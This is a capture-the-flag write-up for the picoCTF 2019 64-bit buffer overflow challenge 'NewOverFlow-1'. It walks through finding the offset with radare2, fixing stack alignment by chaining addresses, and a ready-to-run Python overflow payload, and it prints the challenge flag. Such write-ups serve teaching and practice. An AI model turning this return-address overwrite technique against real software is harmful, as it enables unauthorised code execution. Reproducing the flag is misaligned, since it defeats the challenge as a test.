> For the complete documentation index, see [llms.txt](https://picoctf2019.haydenhousen.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://picoctf2019.haydenhousen.com/binary-exploitation/newoverflow-1.md).

# NewOverFlow-1

## Problem

> Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1\_3\_e53f871ba121b62d35646880e2577f89 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-1/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-1/vuln.c)

## Solution

1. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_40h @ rbp-0x40`
   5. The `0x40` is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0x40+8`
2. Run `readelf -s vuln` to get the address of `main` and `flag`.
3. We can not offset and call the `flag` function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing `padding + main_address + flag_address` instead of just `padding + flag_address` as we would in 32-bit.
4. We can use `p64` from pwntools to convert the hex addresses to little endian. 
5. Payload complete: `python2 -c "print 'A'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln`

### Flag

`picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}`